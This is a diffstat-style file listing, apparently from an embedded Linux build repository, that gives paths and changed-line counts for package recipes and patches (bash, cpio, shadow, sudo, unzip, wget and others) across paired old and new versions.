-rw-r--r--meta/recipes-devtools/xmlto/xmlto-0.0.28/configure.in-drop-the-test-of-xmllint-and-xsltproc.patch30
-rw-r--r--meta/recipes-devtools/xmlto/xmlto_0.0.28.bb32
-rw-r--r--meta/recipes-extended/acpica/acpica_20200528.bb49
-rw-r--r--meta/recipes-extended/acpica/acpica_20240322.bb49
-rw-r--r--meta/recipes-extended/asciidoc/asciidoc/auto-catalogs.patch53
-rw-r--r--meta/recipes-extended/asciidoc/asciidoc_10.2.0.bb28
-rw-r--r--meta/recipes-extended/asciidoc/asciidoc_9.0.1.bb31
-rw-r--r--meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch23
-rw-r--r--meta/recipes-extended/at/at/file_replacement_with_gplv2.patch8
-rw-r--r--meta/recipes-extended/at/at/fix_parallel_build_error.patch40
-rw-r--r--meta/recipes-extended/at/at/makefile-fix-parallel.patch8
-rw-r--r--meta/recipes-extended/at/at_3.1.23.bb78
-rw-r--r--meta/recipes-extended/at/at_3.2.5.bb76
-rw-r--r--meta/recipes-extended/baremetal-example/baremetal-helloworld_git.bb72
-rw-r--r--meta/recipes-extended/bash/bash.inc66
-rw-r--r--meta/recipes-extended/bash/bash/0001-changes-to-SIGINT-handler-while-waiting-for-a-child-.patch226
-rw-r--r--meta/recipes-extended/bash/bash/build-tests.patch16
-rw-r--r--meta/recipes-extended/bash/bash/execute_cmd.patch28
-rw-r--r--meta/recipes-extended/bash/bash/use_aclocal.patch70
-rw-r--r--meta/recipes-extended/bash/bash_5.0.bb72
-rw-r--r--meta/recipes-extended/bash/bash_5.2.21.bb23
-rw-r--r--meta/recipes-extended/bc/bc/run-ptest9
-rw-r--r--meta/recipes-extended/bc/bc_1.07.1.bb18
-rw-r--r--meta/recipes-extended/blktool/blktool_4-7.1.bb2
-rw-r--r--meta/recipes-extended/bzip2/bzip2/Makefile.am4
-rw-r--r--meta/recipes-extended/bzip2/bzip2_1.0.8.bb32
-rw-r--r--meta/recipes-extended/cpio/cpio-2.13/0001-Unset-need_charset_alias-when-building-for-musl.patch30
-rw-r--r--meta/recipes-extended/cpio/cpio-2.13/0002-src-global.c-Remove-superfluous-declaration-of-progr.patch28
-rw-r--r--meta/recipes-extended/cpio/cpio_2.13.bb51
-rw-r--r--meta/recipes-extended/cpio/cpio_2.15.bb87
-rwxr-xr-xmeta/recipes-extended/cpio/files/run-ptest3
-rw-r--r--meta/recipes-extended/cpio/files/test.sh10
-rw-r--r--meta/recipes-extended/cracklib/cracklib/0001-Apply-patch-to-fix-CVE-2016-6318.patch105
-rw-r--r--meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch40
-rw-r--r--meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch53
-rw-r--r--meta/recipes-extended/cracklib/cracklib_2.9.11.bb33
-rw-r--r--meta/recipes-extended/cracklib/cracklib_2.9.5.bb29
-rw-r--r--meta/recipes-extended/cronie/cronie/crond_pam_config.patch10
-rw-r--r--meta/recipes-extended/cronie/cronie_1.5.5.bb84
-rw-r--r--meta/recipes-extended/cronie/cronie_1.7.1.bb85
-rw-r--r--meta/recipes-extended/cups/cups.inc76
-rw-r--r--meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch42
-rw-r--r--meta/recipes-extended/cups/cups/0003-cups_1.4.6.bb-Fix-build-on-ppc64.patch51
-rw-r--r--meta/recipes-extended/cups/cups/libexecdir.patch35
-rw-r--r--meta/recipes-extended/cups/cups_2.3.3.bb6
-rw-r--r--meta/recipes-extended/cups/cups_2.4.7.bb5
-rw-r--r--meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb5
-rw-r--r--meta/recipes-extended/diffutils/diffutils.inc2
-rw-r--r--meta/recipes-extended/diffutils/diffutils/0001-Skip-strip-trailing-cr-test-case.patch24
-rw-r--r--meta/recipes-extended/diffutils/diffutils_3.10.bb43
-rw-r--r--meta/recipes-extended/diffutils/diffutils_3.7.bb40
-rw-r--r--meta/recipes-extended/ed/ed_1.16.bb38
-rw-r--r--meta/recipes-extended/ed/ed_1.20.1.bb38
-rw-r--r--meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch8
-rw-r--r--meta/recipes-extended/ethtool/ethtool_5.7.bb35
-rw-r--r--meta/recipes-extended/ethtool/ethtool_6.7.bb37
-rw-r--r--meta/recipes-extended/findutils/findutils.inc9
-rw-r--r--meta/recipes-extended/findutils/findutils/autoconf-2.73.patch24
-rw-r--r--meta/recipes-extended/findutils/findutils/run-ptest57
-rw-r--r--meta/recipes-extended/findutils/findutils_4.7.0.bb15
-rw-r--r--meta/recipes-extended/findutils/findutils_4.9.0.bb27
-rw-r--r--meta/recipes-extended/gawk/gawk/run-ptest7
-rw-r--r--meta/recipes-extended/gawk/gawk_5.1.0.bb55
-rw-r--r--meta/recipes-extended/gawk/gawk_5.3.0.bb87
-rw-r--r--meta/recipes-extended/ghostscript/files/do-not-check-local-libpng-source.patch31
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/CVE-2020-15900.patch54
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/avoid-host-contamination.patch14
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/base-genht.c-add-a-preprocessor-define-to-allow-fope.patch42
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/cups-no-gcrypt.patch37
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.15-parallel-make.patch38
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-native-fix-disable-system-libtiff.patch47
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.21-prevent_recompiling.patch78
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/mkdir-p.patch50
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript_10.03.0.bb75
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript_9.52.bb123
-rw-r--r--meta/recipes-extended/go-examples/go-helloworld_0.1.bb12
-rw-r--r--meta/recipes-extended/gperf/gperf/0001-Make-the-code-C-17-compliant.patch29
-rw-r--r--meta/recipes-extended/gperf/gperf/1862c6e57a308a05889c80c048dbc58bdc378dcb.patch181
-rw-r--r--meta/recipes-extended/gperf/gperf_3.1.bb9
-rw-r--r--meta/recipes-extended/grep/grep_3.11.bb46
-rw-r--r--meta/recipes-extended/grep/grep_3.4.bb44
-rw-r--r--meta/recipes-extended/groff/files/0001-Include-config.h.patch1228
-rw-r--r--meta/recipes-extended/groff/files/0001-Make-manpages-mulitlib-identical.patch22
-rw-r--r--meta/recipes-extended/groff/files/0001-build-Fix-Savannah-64681-webpage.ps-deps.patch51
-rw-r--r--meta/recipes-extended/groff/files/0001-build-meintro_fr.ps-depends-on-tbl.patch31
-rw-r--r--meta/recipes-extended/groff/files/0001-replace-perl-w-with-use-warnings.patch106
-rw-r--r--meta/recipes-extended/groff/files/0001-support-musl.patch41
-rw-r--r--meta/recipes-extended/groff/files/groff-not-search-fonts-on-build-host.patch37
-rw-r--r--meta/recipes-extended/groff/groff_1.22.4.bb66
-rw-r--r--meta/recipes-extended/groff/groff_1.23.0.bb78
-rw-r--r--meta/recipes-extended/gzip/gzip-1.13/wrong-path-fix.patch (renamed from meta/recipes-extended/gzip/gzip-1.10/wrong-path-fix.patch)14
-rw-r--r--meta/recipes-extended/gzip/gzip.inc10
-rw-r--r--meta/recipes-extended/gzip/gzip_1.10.bb40
-rw-r--r--meta/recipes-extended/gzip/gzip_1.13.bb41
-rw-r--r--meta/recipes-extended/hdparm/hdparm_9.58.bb43
-rw-r--r--meta/recipes-extended/hdparm/hdparm_9.65.bb43
-rw-r--r--meta/recipes-extended/images/core-image-full-cmdline.bb4
-rw-r--r--meta/recipes-extended/images/core-image-kernel-dev.bb2
-rw-r--r--meta/recipes-extended/images/core-image-testcontroller-initramfs.bb23
-rw-r--r--meta/recipes-extended/images/core-image-testcontroller.bb18
-rw-r--r--meta/recipes-extended/images/core-image-testmaster-initramfs.bb23
-rw-r--r--meta/recipes-extended/images/core-image-testmaster.bb18
-rw-r--r--meta/recipes-extended/iptables/iptables/0001-build-resolve-iptables-apply-not-getting-installed.patch45
-rw-r--r--meta/recipes-extended/iptables/iptables/0001-configure-Add-option-to-enable-disable-libnfnetlink.patch18
-rw-r--r--meta/recipes-extended/iptables/iptables/0002-configure.ac-only-check-conntrack-when-libnfnetlink-enabled.patch51
-rw-r--r--meta/recipes-extended/iptables/iptables/0002-iptables-xshared.h-add-missing-sys.types.h-include.patch31
-rw-r--r--meta/recipes-extended/iptables/iptables/0004-configure.ac-only-check-conntrack-when-libnfnetlink-.patch49
-rw-r--r--meta/recipes-extended/iptables/iptables_1.8.10.bb123
-rw-r--r--meta/recipes-extended/iptables/iptables_1.8.5.bb111
-rw-r--r--meta/recipes-extended/iputils/iputils/0001-iputils-Initialize-libgcrypt.patch55
-rw-r--r--meta/recipes-extended/iputils/iputils/0001-ninfod-change-variable-name-to-avoid-colliding-with-.patch51
-rw-r--r--meta/recipes-extended/iputils/iputils/0001-ninfod-fix-systemd-Documentation-url-error.patch28
-rw-r--r--meta/recipes-extended/iputils/iputils/0001-rarpd-rdisc-Drop-PrivateUsers.patch46
-rw-r--r--meta/recipes-extended/iputils/iputils_20240117.bb48
-rw-r--r--meta/recipes-extended/iputils/iputils_s20190709.bb74
-rw-r--r--meta/recipes-extended/less/files/run-ptest3
-rw-r--r--meta/recipes-extended/less/less_562.bb43
-rw-r--r--meta/recipes-extended/less/less_643.bb61
-rw-r--r--meta/recipes-extended/libaio/libaio/00_arches.patch12
-rw-r--r--meta/recipes-extended/libaio/libaio/destdir.patch17
-rw-r--r--meta/recipes-extended/libaio/libaio/system-linkage.patch18
-rw-r--r--meta/recipes-extended/libaio/libaio_0.3.111.bb23
-rw-r--r--meta/recipes-extended/libaio/libaio_0.3.113.bb22
-rw-r--r--meta/recipes-extended/libarchive/libarchive/configurehack.patch49
-rw-r--r--meta/recipes-extended/libarchive/libarchive_3.4.3.bb66
-rw-r--r--meta/recipes-extended/libarchive/libarchive_3.7.2.bb67
-rw-r--r--meta/recipes-extended/libidn/libidn2_2.3.0.bb32
-rw-r--r--meta/recipes-extended/libidn/libidn2_2.3.7.bb33
-rw-r--r--meta/recipes-extended/libmnl/libmnl_1.0.4.bb15
-rw-r--r--meta/recipes-extended/libmnl/libmnl_1.0.5.bb14
-rw-r--r--meta/recipes-extended/libnsl/libnsl2_git.bb8
-rw-r--r--meta/recipes-extended/libnss-nis/libnss-nis.bb10
-rw-r--r--meta/recipes-extended/libpipeline/libpipeline/autoconf-2.73.patch24
-rw-r--r--meta/recipes-extended/libpipeline/libpipeline_1.5.2.bb15
-rw-r--r--meta/recipes-extended/libpipeline/libpipeline_1.5.7.bb15
-rw-r--r--meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch34
-rw-r--r--meta/recipes-extended/libsolv/libsolv_0.7.14.bb31
-rw-r--r--meta/recipes-extended/libsolv/libsolv_0.7.28.bb33
-rw-r--r--meta/recipes-extended/libtirpc/libtirpc/ipv6.patch52
-rw-r--r--meta/recipes-extended/libtirpc/libtirpc_1.2.6.bb26
-rw-r--r--meta/recipes-extended/libtirpc/libtirpc_1.3.4.bb33
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch42
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd/lighttpd19
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd/lighttpd.conf38
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd_1.4.55.bb83
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd_1.4.75.bb76
-rw-r--r--meta/recipes-extended/logrotate/logrotate/0001-Update-the-manual.patch39
-rw-r--r--meta/recipes-extended/logrotate/logrotate/act-as-mv-when-rotate.patch149
-rw-r--r--meta/recipes-extended/logrotate/logrotate/disable-check-different-filesystems.patch36
-rwxr-xr-xmeta/recipes-extended/logrotate/logrotate/run-ptest5
-rw-r--r--meta/recipes-extended/logrotate/logrotate_3.17.0.bb91
-rw-r--r--meta/recipes-extended/logrotate/logrotate_3.21.0.bb114
-rw-r--r--meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch27
-rw-r--r--meta/recipes-extended/lsb/lsb-release_1.4.bb12
-rw-r--r--meta/recipes-extended/lsof/files/lsof-remove-host-information.patch76
-rw-r--r--meta/recipes-extended/lsof/files/remove-host-information.patch123
-rw-r--r--meta/recipes-extended/lsof/lsof_4.91.bb63
-rw-r--r--meta/recipes-extended/lsof/lsof_4.99.3.bb23
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-Add-more-musl-exclusions.patch32
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch21
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-build-Add-option-to-select-libc-implementation.patch81
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-ptrace01-Fix-missing-format-string.patch33
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-scenario_groups-default-remove-connectors.patch34
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-sigwaitinfo-Do-not-run-invalid-undefined-test-cases.patch69
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-syscalls-copy_file_range02-Expect-EFBIG-in-subcase-m.patch57
-rw-r--r--meta/recipes-extended/ltp/ltp/0004-guard-mallocopt-with-__GLIBC__.patch34
-rw-r--r--meta/recipes-extended/ltp/ltp/0007-Fix-test_proc_kill-hanging.patch32
-rw-r--r--meta/recipes-extended/ltp/ltp_20200515.bb124
-rw-r--r--meta/recipes-extended/ltp/ltp_20240129.bb144
-rw-r--r--meta/recipes-extended/lzip/lzip_1.21.bb41
-rw-r--r--meta/recipes-extended/lzip/lzip_1.24.1.bb42
-rw-r--r--meta/recipes-extended/lzip/lzlib_1.14.bb39
-rw-r--r--meta/recipes-extended/man-db/files/0001-man-Move-local-variable-declaration-to-function-scop.patch38
-rw-r--r--meta/recipes-extended/man-db/files/man_db.conf-avoid-multilib-install-file-conflict.patch16
-rw-r--r--meta/recipes-extended/man-db/man-db_2.12.1.bb72
-rw-r--r--meta/recipes-extended/man-db/man-db_2.9.3.bb58
-rw-r--r--meta/recipes-extended/man-pages/man-pages/0001-GNUmakefile-use-env-from-PATH.patch31
-rw-r--r--meta/recipes-extended/man-pages/man-pages/0001-man.ml-do-not-use-dev-stdin.patch33
-rw-r--r--meta/recipes-extended/man-pages/man-pages_5.07.bb37
-rw-r--r--meta/recipes-extended/man-pages/man-pages_6.06.bb50
-rw-r--r--meta/recipes-extended/mc/files/0001-Ticket-4070-misc-Makefile.am-install-mc.lib-only-onc.patch59
-rw-r--r--meta/recipes-extended/mc/files/0001-mc-replace-perl-w-with-use-warnings.patch129
-rw-r--r--meta/recipes-extended/mc/files/nomandate.patch25
-rw-r--r--meta/recipes-extended/mc/mc_4.8.24.bb55
-rw-r--r--meta/recipes-extended/mc/mc_4.8.31.bb57
-rw-r--r--meta/recipes-extended/mdadm/files/0001-Compute-abs-diff-in-a-standard-compliant-way.patch31
-rw-r--r--meta/recipes-extended/mdadm/files/0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch7
-rw-r--r--meta/recipes-extended/mdadm/files/0001-Makefile-install-mdcheck.patch27
-rw-r--r--meta/recipes-extended/mdadm/files/0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch53
-rw-r--r--meta/recipes-extended/mdadm/files/0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch36
-rw-r--r--meta/recipes-extended/mdadm/files/0001-fix-gcc-8-format-truncation-warning.patch7
-rw-r--r--meta/recipes-extended/mdadm/files/0001-include-libgen.h-for-basename-API.patch56
-rw-r--r--meta/recipes-extended/mdadm/files/0001-mdadm-add-option-y-for-use-syslog-to-recive-event-re.patch9
-rw-r--r--meta/recipes-extended/mdadm/files/0001-mdadm-skip-test-11spare-migration.patch43
-rw-r--r--meta/recipes-extended/mdadm/files/0001-mdadm.h-Undefine-dprintf-before-redefining.patch6
-rw-r--r--meta/recipes-extended/mdadm/files/0001-restripe.c-Use-_FILE_OFFSET_BITS-to-enable-largefile.patch155
-rw-r--r--meta/recipes-extended/mdadm/files/0001-util.c-add-limits.h-include-for-NAME_MAX-definition.patch24
-rw-r--r--meta/recipes-extended/mdadm/files/0002-Create.c-include-linux-falloc.h-for-FALLOC_FL_ZERO_R.patch27
-rw-r--r--meta/recipes-extended/mdadm/files/debian-no-Werror.patch24
-rw-r--r--meta/recipes-extended/mdadm/files/include_sysmacros.patch14
-rw-r--r--meta/recipes-extended/mdadm/files/mdadm-3.3.2_x32_abi_time_t.patch7
-rw-r--r--meta/recipes-extended/mdadm/files/mdadm-fix-ptest-build-errors.patch43
-rw-r--r--meta/recipes-extended/mdadm/files/run-ptest11
-rw-r--r--meta/recipes-extended/mdadm/mdadm_4.1.bb107
-rw-r--r--meta/recipes-extended/mdadm/mdadm_4.3.bb127
-rw-r--r--meta/recipes-extended/mingetty/mingetty_1.08.bb6
-rw-r--r--meta/recipes-extended/minicom/minicom/0001-Drop-superfluous-global-variable-definitions.patch35
-rw-r--r--meta/recipes-extended/minicom/minicom/0001-Fix-build-issus-surfaced-due-to-musl.patch47
-rw-r--r--meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch35
-rw-r--r--meta/recipes-extended/minicom/minicom/0002-Drop-superfluous-global-variable-definitions.patch37
-rw-r--r--meta/recipes-extended/minicom/minicom/0003-Drop-superfluous-global-variable-definitions.patch42
-rw-r--r--meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch21
-rw-r--r--meta/recipes-extended/minicom/minicom_2.7.1.bb31
-rw-r--r--meta/recipes-extended/minicom/minicom_2.9.bb25
-rw-r--r--meta/recipes-extended/msmtp/msmtp_1.8.11.bb27
-rw-r--r--meta/recipes-extended/msmtp/msmtp_1.8.25.bb27
-rw-r--r--meta/recipes-extended/net-tools/net-tools/Bug_443075-ifconfig.c-pointtopoint_spelling.patch26
-rw-r--r--meta/recipes-extended/net-tools/net-tools/Bug_541172-netstat.c-exit-codes.patch22
-rw-r--r--meta/recipes-extended/net-tools/net-tools_1.60-20181103.bb110
-rw-r--r--meta/recipes-extended/net-tools/net-tools_2.10.bb121
-rw-r--r--meta/recipes-extended/newt/files/0001-detect-gold-as-GNU-linker-too.patch14
-rw-r--r--meta/recipes-extended/newt/files/0002-don-t-ignore-CFLAGS-when-building-snack.patch29
-rw-r--r--meta/recipes-extended/newt/libnewt_0.52.21.bb58
-rw-r--r--meta/recipes-extended/newt/libnewt_0.52.24.bb56
-rw-r--r--meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb6
-rw-r--r--meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb60
-rw-r--r--meta/recipes-extended/pam/libpam/0001-Add-support-for-defining-missing-funcitonality.patch68
-rw-r--r--meta/recipes-extended/pam/libpam/0001-pam_namespace-include-stdint-h.patch42
-rw-r--r--meta/recipes-extended/pam/libpam/99_pam2
-rw-r--r--meta/recipes-extended/pam/libpam/crypt_configure.patch40
-rw-r--r--meta/recipes-extended/pam/libpam/include_paths_header.patch59
-rw-r--r--meta/recipes-extended/pam/libpam/libpam-xtests.patch22
-rw-r--r--meta/recipes-extended/pam/libpam/pam-security-abstract-securetty-handling.patch203
-rw-r--r--meta/recipes-extended/pam/libpam/pam-unix-nullok-secure.patch195
-rw-r--r--meta/recipes-extended/pam/libpam/pam-volatiles.conf1
-rw-r--r--meta/recipes-extended/pam/libpam/run-ptest32
-rw-r--r--meta/recipes-extended/pam/libpam_1.3.1.bb168
-rw-r--r--meta/recipes-extended/pam/libpam_1.6.0.bb191
-rw-r--r--meta/recipes-extended/parted/files/0001-Move-python-helper-scripts-used-only-in-tests-to-Pyt.patch33
-rw-r--r--meta/recipes-extended/parted/files/0001-fs-Add-libuuid-to-linker-flags-for-libparted-fs-resi.patch34
-rw-r--r--meta/recipes-extended/parted/files/0001-libparted-fs-add-sourcedir-lib-to-include-paths.patch26
-rw-r--r--meta/recipes-extended/parted/files/0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch34
-rw-r--r--meta/recipes-extended/parted/files/0002-tests-use-skip_-rather-than-skip_test_-which-is-unde.patch66
-rw-r--r--meta/recipes-extended/parted/files/autoconf-2.73.patch22
-rw-r--r--meta/recipes-extended/parted/files/no_check.patch20
-rw-r--r--meta/recipes-extended/parted/files/run-ptest6
-rw-r--r--meta/recipes-extended/parted/parted_3.3.bb59
-rw-r--r--meta/recipes-extended/parted/parted_3.6.bb62
-rw-r--r--meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb4
-rw-r--r--meta/recipes-extended/perl/libconvert-asn1-perl_0.27.bb20
-rw-r--r--meta/recipes-extended/perl/libconvert-asn1-perl_0.34.bb22
-rw-r--r--meta/recipes-extended/perl/libtimedate-perl_2.30.bb8
-rw-r--r--meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb4
-rw-r--r--meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb6
-rw-r--r--meta/recipes-extended/perl/libxml-sax-perl_1.02.bb8
-rw-r--r--meta/recipes-extended/pigz/pigz_2.4.bb49
-rw-r--r--meta/recipes-extended/pigz/pigz_2.8.bb48
-rw-r--r--meta/recipes-extended/procps/procps_3.3.16.bb76
-rw-r--r--meta/recipes-extended/procps/procps_4.0.4.bb97
-rw-r--r--meta/recipes-extended/psmisc/psmisc.inc33
-rw-r--r--meta/recipes-extended/psmisc/psmisc/0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch6
-rw-r--r--meta/recipes-extended/psmisc/psmisc_23.3.bb9
-rw-r--r--meta/recipes-extended/psmisc/psmisc_23.7.bb9
-rw-r--r--meta/recipes-extended/quota/quota/fcntl.patch27
-rw-r--r--meta/recipes-extended/quota/quota_4.05.bb34
-rw-r--r--meta/recipes-extended/quota/quota_4.09.bb34
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch2
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch58
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind_1.2.5.bb52
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind_1.2.6.bb55
-rw-r--r--meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb14
-rw-r--r--meta/recipes-extended/rpcsvc-proto/rpcsvc-proto/0001-Use-cross-compiled-rpcgen.patch11
-rw-r--r--meta/recipes-extended/screen/screen_4.8.0.bb50
-rw-r--r--meta/recipes-extended/screen/screen_4.9.1.bb49
-rw-r--r--meta/recipes-extended/sed/sed/run-ptest2
-rw-r--r--meta/recipes-extended/sed/sed_4.8.bb65
-rw-r--r--meta/recipes-extended/sed/sed_4.9.bb67
-rw-r--r--meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch123
-rw-r--r--meta/recipes-extended/shadow/files/0001-lib-copydir-copy_entry-use-temporary-stat-buffer.patch37
-rw-r--r--meta/recipes-extended/shadow/files/0002-Allow-for-setting-password-in-clear-text.patch301
-rw-r--r--meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch13
-rw-r--r--meta/recipes-extended/shadow/files/login.defs_shadow-sysroot1
-rw-r--r--meta/recipes-extended/shadow/files/pam.d/login4
-rw-r--r--meta/recipes-extended/shadow/files/securetty1
-rw-r--r--meta/recipes-extended/shadow/files/shadow-4.1.3-dots-in-usernames.patch27
-rw-r--r--meta/recipes-extended/shadow/files/shadow-relaxed-usernames.patch111
-rw-r--r--meta/recipes-extended/shadow/files/shadow-update-pam-conf.patch83
-rw-r--r--meta/recipes-extended/shadow/files/useradd8
-rw-r--r--meta/recipes-extended/shadow/shadow-securetty_4.6.bb1
-rw-r--r--meta/recipes-extended/shadow/shadow-sysroot_4.6.bb7
-rw-r--r--meta/recipes-extended/shadow/shadow.inc109
-rw-r--r--meta/recipes-extended/shadow/shadow_4.15.0.bb10
-rw-r--r--meta/recipes-extended/shadow/shadow_4.8.1.bb10
-rw-r--r--meta/recipes-extended/slang/slang/dont-link-to-host.patch23
-rw-r--r--meta/recipes-extended/slang/slang/terminfo_fixes.patch32
-rw-r--r--meta/recipes-extended/slang/slang_2.3.2.bb84
-rw-r--r--meta/recipes-extended/slang/slang_2.3.3.bb83
-rw-r--r--meta/recipes-extended/stress-ng/stress-ng/0001-Do-not-preserve-ownership-when-installing-example-jo.patch23
-rw-r--r--meta/recipes-extended/stress-ng/stress-ng/no_daddr_t.patch32
-rw-r--r--meta/recipes-extended/stress-ng/stress-ng_0.11.17.bb27
-rw-r--r--meta/recipes-extended/stress-ng/stress-ng_0.17.06.bb36
-rw-r--r--meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch62
-rw-r--r--meta/recipes-extended/sudo/sudo.inc31
-rw-r--r--meta/recipes-extended/sudo/sudo_1.9.15p5.bb61
-rw-r--r--meta/recipes-extended/sudo/sudo_1.9.2.bb47
-rwxr-xr-xmeta/recipes-extended/sysklogd/files/sysklogd3
-rw-r--r--meta/recipes-extended/sysklogd/sysklogd.inc53
-rw-r--r--meta/recipes-extended/sysklogd/sysklogd_2.1.2.bb3
-rw-r--r--meta/recipes-extended/sysklogd/sysklogd_2.5.2.bb56
-rw-r--r--meta/recipes-extended/sysstat/sysstat.inc67
-rw-r--r--meta/recipes-extended/sysstat/sysstat/0001-configure.in-remove-check-for-chkconfig.patch10
-rw-r--r--meta/recipes-extended/sysstat/sysstat_12.2.2.bb8
-rw-r--r--meta/recipes-extended/sysstat/sysstat_12.7.5.bb80
-rw-r--r--meta/recipes-extended/tar/tar/0001-tests-fix-TESTSUITE_AT.patch228
-rw-r--r--meta/recipes-extended/tar/tar/0002-tests-check-for-recently-fixed-bug.patch60
-rw-r--r--meta/recipes-extended/tar/tar/0003-Exclude-VCS-directory-with-writing-from-an-archive.patch112
-rw-r--r--meta/recipes-extended/tar/tar/musl_dirent.patch19
-rw-r--r--meta/recipes-extended/tar/tar/run-ptest14
-rw-r--r--meta/recipes-extended/tar/tar_1.32.bb66
-rw-r--r--meta/recipes-extended/tar/tar_1.35.bb102
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Fix-implicit-function-declaration-warnings.patch114
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch5
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb22
-rw-r--r--meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb1
-rw-r--r--meta/recipes-extended/texinfo/texinfo/0001-texinfo-several-changes-to-build-without-zlib-and-nc.patch55
-rw-r--r--meta/recipes-extended/texinfo/texinfo/0002-dont-depend-on-help2man.patch68
-rw-r--r--meta/recipes-extended/texinfo/texinfo/0003-texinfo-Update-to-5.1.patch28
-rw-r--r--meta/recipes-extended/texinfo/texinfo/disable-native-tools.patch43
-rw-r--r--meta/recipes-extended/texinfo/texinfo/dont-depend-on-help2man.patch66
-rw-r--r--meta/recipes-extended/texinfo/texinfo/link-zip.patch23
-rw-r--r--meta/recipes-extended/texinfo/texinfo/texinfo-4.12-zlib.patch254
-rw-r--r--meta/recipes-extended/texinfo/texinfo/use_host_makedoc.patch17
-rw-r--r--meta/recipes-extended/texinfo/texinfo_6.7.bb91
-rw-r--r--meta/recipes-extended/texinfo/texinfo_7.1.bb90
-rw-r--r--meta/recipes-extended/time/time/0001-include-string.h-for-memset.patch27
-rw-r--r--meta/recipes-extended/time/time_1.9.bb8
-rw-r--r--meta/recipes-extended/timezone/timezone.inc16
-rw-r--r--meta/recipes-extended/timezone/tzcode-native.bb3
-rw-r--r--meta/recipes-extended/timezone/tzdata.bb354
-rw-r--r--meta/recipes-extended/unzip/unzip/0001-configure-Add-correct-system-headers-and-prototypes-.patch112
-rw-r--r--meta/recipes-extended/unzip/unzip/0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch137
-rw-r--r--meta/recipes-extended/unzip/unzip/0001-unix-configure-fix-detection-for-cross-compilation.patch103
-rw-r--r--meta/recipes-extended/unzip/unzip/CVE-2021-4217.patch67
-rw-r--r--meta/recipes-extended/unzip/unzip/CVE-2022-0529.patch39
-rw-r--r--meta/recipes-extended/unzip/unzip/CVE-2022-0530.patch33
-rw-r--r--meta/recipes-extended/unzip/unzip/avoid-strip.patch2
-rw-r--r--meta/recipes-extended/unzip/unzip/define-ldflags.patch2
-rw-r--r--meta/recipes-extended/unzip/unzip/fix-security-format.patch2
-rw-r--r--meta/recipes-extended/unzip/unzip/symlink.patch2
-rw-r--r--meta/recipes-extended/unzip/unzip/unzip_optimization.patch127
-rw-r--r--meta/recipes-extended/unzip/unzip_6.0.bb15
-rw-r--r--meta/recipes-extended/watchdog/watchdog-config.bb9
-rw-r--r--meta/recipes-extended/watchdog/watchdog/0001-shutdown-Do-not-guard-sys-quota.h-sys-swap.h-and-sys.patch37
-rw-r--r--meta/recipes-extended/watchdog/watchdog/0001-wd_keepalive.service-use-run-instead-of-var-run.patch30
-rw-r--r--meta/recipes-extended/watchdog/watchdog_5.16.bb38
-rw-r--r--meta/recipes-extended/wget/wget.inc12
-rw-r--r--meta/recipes-extended/wget/wget/0002-improve-reproducibility.patch9
-rw-r--r--meta/recipes-extended/wget/wget_1.20.3.bb8
-rw-r--r--meta/recipes-extended/wget/wget_1.24.5.bb7
-rw-r--r--meta/recipes-extended/which/which_2.21.bb13
